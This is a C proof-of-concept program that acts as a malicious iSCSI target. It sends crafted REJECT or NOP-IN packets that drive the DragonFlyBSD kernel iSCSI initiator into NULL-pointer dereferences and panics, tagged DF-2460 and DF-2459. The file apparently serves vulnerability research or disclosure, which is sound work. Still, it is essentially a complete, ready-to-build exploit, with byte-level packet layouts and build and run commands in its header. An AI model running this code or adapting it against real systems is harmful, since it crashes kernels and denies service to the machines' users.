/*
 * mtarget.c - Minimal malicious iSCSI target for DragonFlyBSD initiator PoCs.
 *
 * Accepts one TCP connection on 127.0.0.1:3260 and, depending on <mode>,
 * immediately injects a crafted PDU that drives the kernel receiver
 * (which is started by ISCSISETSOC, BEFORE login) into a vulnerable path.
 *
 *   reject  -> 48-byte REJECT BHS, AHSLength=0, DSLength=0
 *              (_reject dereferences pq->mp == NULL  -> panic)   [DF-2460]
 *   nopin   -> NOP-IN itt=0xffffffff ttt=1 AHSLength=1 + 4 bytes AHS
 *              (_nop_in re-queues as NOP_OUT, isc_sendPDU bcopy(pp->ahs=NULL))
 *                                                             [DF-2459]
 *
 * Build: cc -o mtarget mtarget.c
 * Run:   ./mtarget reject   (blocks until one connection is served)
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

static void hex(const char *p, int n) {
    for (int i = 0; i < n; i++) { printf("%02x ", (unsigned char)p[i]); if ((i&15)==15) printf("\n"); }
    printf("\n"); fflush(stdout);
}

int main(int argc, char **argv) {
    const char *mode = argc > 1 ? argv[1] : "reject";
    int port = argc > 2 ? atoi(argv[2]) : 3260;
    int s = socket(AF_INET, SOCK_STREAM, 0);
    if (s < 0) { perror("socket"); return 1; }
    int one = 1;
    setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
    struct sockaddr_in sa; memset(&sa, 0, sizeof(sa));
    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr("127.0.0.1");
    sa.sin_port = htons(port);
    if (bind(s, (struct sockaddr*)&sa, sizeof(sa)) < 0) { perror("bind"); return 1; }
    if (listen(s, 1) < 0) { perror("listen"); return 1; }
    printf("mtarget[%s]: listening on 127.0.0.1:%d\n", mode, port); fflush(stdout);

    struct sockaddr_in ca; socklen_t cl = sizeof(ca);
    int c = accept(s, (struct sockaddr*)&ca, &cl);
    if (c < 0) { perror("accept"); return 1; }
    printf("mtarget[%s]: accepted connection\n", mode); fflush(stdout);

    unsigned char buf[256];
    memset(buf, 0, sizeof(buf));

    if (strcmp(mode, "reject") == 0) {
        /* BHS: opcode=0x3f (REJECT), F=1, AHSLength=0, DSLength=0.
           rest zeroed (reject reason/fields irrelevant: _reject crashes
           at mtod(pq->mp==NULL,...) before reading any field). */
        buf[0] = 0x3f;          /* opcode=0x3f, I=0, _=0 */
        buf[1] = 0x80;          /* F=1 */
        /* bytes 2..7 zero -> AHSLength=0, DSLength=0 */
        printf("mtarget[%s]: sending 48-byte REJECT (mp stays NULL)\n", mode);
        write(c, buf, 48);
    } else if (strcmp(mode, "nopin") == 0) {
        /* NOP-IN: opcode=0x20, F=1, AHSLength=1 (4 bytes), DSLength=0,
           itt=0xffffffff (offset 16), ttt=0x00000001 (offset 20, !=0xffffffff).
           Then 4 bytes of AHS so so_recv sets pp->ahs_len=4 while pp->ahs=NULL. */
        buf[0] = 0x20;          /* opcode=0x20 NOP-IN */
        buf[1] = 0x80;          /* F=1 */
        buf[4] = 0x01;          /* AHSLength = 1 (=> 4 bytes) */
        /* itt at offset 16 = 0xffffffff */
        buf[16]=buf[17]=buf[18]=buf[19]=0xff;
        /* ttt at offset 20 = 0x00000001 (network order) */
        buf[23]=0x01;
        /* dataSN etc zero */
        printf("mtarget[%s]: sending 52-byte NOP-IN (itt=ffffffff ttt=1 AHS=4)\n", mode);
        write(c, buf, 48);
        write(c, buf, 4);       /* 4 bytes AHS */
    } else {
        fprintf(stderr, "unknown mode %s\n", mode);
        return 1;
    }
    hex((char*)buf, 32);
    /* keep connection open briefly so the kernel has time to process */
    sleep(3);
    close(c);
    close(s);
    return 0;
}
